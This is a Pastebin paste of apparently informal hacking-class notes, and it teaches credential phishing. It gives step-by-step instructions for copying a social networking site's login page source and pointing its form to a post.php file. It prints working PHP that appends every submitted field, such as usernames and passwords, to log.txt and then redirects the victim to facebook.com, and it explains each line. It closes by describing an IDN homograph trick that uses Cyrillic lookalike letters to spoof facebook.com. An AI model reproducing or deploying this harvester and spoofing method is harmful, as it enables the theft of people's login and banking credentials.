LuciferAviSonicX

Grade 1 Session 8

Sep 27th, 2017
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.49 KB | None | 0 0
  1. Phishing
  2. --------
  3. It is something when an attacker creates a fake website or a webpage, which contains a form --> login form, banking detail form, in which you enter your details------> and looks very juicy, which attracts a user to login without any force. Via this attack, attacker gains the information of the user.
  4.  
  5.  
  6.  
  7. Step 1- Open The Browser
  8. Step 2- Open Any Social Networking Site
  9. Step 3- Right Click On The Web Page
  10. Step 4- Click On "View Page Source"
  11. Step 5- Copy The Source Code
  12. Step 6- Paste The Source Code In Notepad File
  13. Step 7- Find "Action="
  14. Step 8- Replace The Field In The Above Step With Post.php
  15. Step 9- Create A Post.php File
  16. Step 10- Save As the Copied File as name.html
  17. Step 11- Save Both The Files In Localhost Server
  18.  
  19.  
  20. post.php
  21.  
  22.  
  23. <?php
  24. header ('Location: http://www.facebook.com');
  25. $handle = fopen("log.txt", "a");
  26. foreach($_POST as $variable => $value) {
  27. fwrite($handle, $variable);
  28. fwrite($handle, "=");
  29. fwrite($handle, $value);
  30. fwrite($handle, "\r\n");
  31. }
  32. fwrite($handle, "\r\n");
  33. fclose($handle);
  34. exit;
  35. ?>
  36.  
  37.  
  38.  
  39.  
  40.  
  41. <?php ---> starting of php file
  42. header ('Location: http://www.facebook.com'); --> when work of the script is complete.... redirect the user to this particular page
  43. $handle = fopen("log.txt", "a"); --> creating a file, name --> log.txt mode--> attribute --> append
  44. foreach($_POST as $variable => $value) --> for loop creating ---> jb tk mughe variable receive ho rahe h tb tk for loop work krta rahe
  45. { --> start of for loop
  46. fwrite($handle, $variable); --> variable name write
  47. fwrite($handle, "="); --> to write "="
  48. fwrite($handle, $value); --> to write the username
  49. fwrite($handle, "\r\n"); --> new line
  50. } --> to close the for loop
  51. fwrite($handle, "\r\n"); --> new line
  52. fclose($handle); --> to save and close the opened file
  53. exit; --> exit of php script
  54. ?> --> chalo kaam khatam
  55.  
  56. 1. read --> r --> to read the content of the file only
  57. 2. write --> w --> to write in the file, if not existing, then create the file, else overwrite the file
  58. 3. append --> a --> again to read and write, if file is there then start from the location where my file is ending, else create a new file
  59.  
  60.  
  61. username=name
  62. password = passwordhai
  63.  
  64.  
  65. IDN HOMOGRAPHIC ATTACK
  66. ----------------------
  67. There are so many languages in the world. But some languages have similar characters as that of english alphabets
  68.  
  69. а с е о р --> Cerelic alphabet --> dеерikа раdukоnе
  70. a c e o p --> English Alphabet --> deepika padukone
  71.  
  72. fасеbооk.com
Add Comment
Please, Sign In to add comment